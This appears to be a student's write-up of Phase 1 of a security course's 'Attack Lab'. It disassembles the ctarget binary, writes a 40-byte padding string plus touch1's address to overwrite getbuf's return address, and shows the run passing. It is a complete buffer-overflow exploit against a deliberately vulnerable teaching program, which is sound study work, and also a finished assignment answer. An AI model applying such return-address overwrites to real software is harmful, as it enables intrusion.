Attack Lab: Phase 1

Run

objdump --disassemble ctarget > ctarget.asm

Read File ctarget.asm

...
0000000000401b28 <getbuf>:
  401b28:	48 83 ec 28          	sub    $0x28,%rsp
...
0000000000401b3e <touch1>:
...

Write File phase-1.txt

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
3e 1b 40 00 00 00 00 00

Run

./hex2raw < phase-1.txt > phase-1.in
./ctarget -i phase-1.in

Terminal Output

Cookie: 0x3a9a6c2f
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!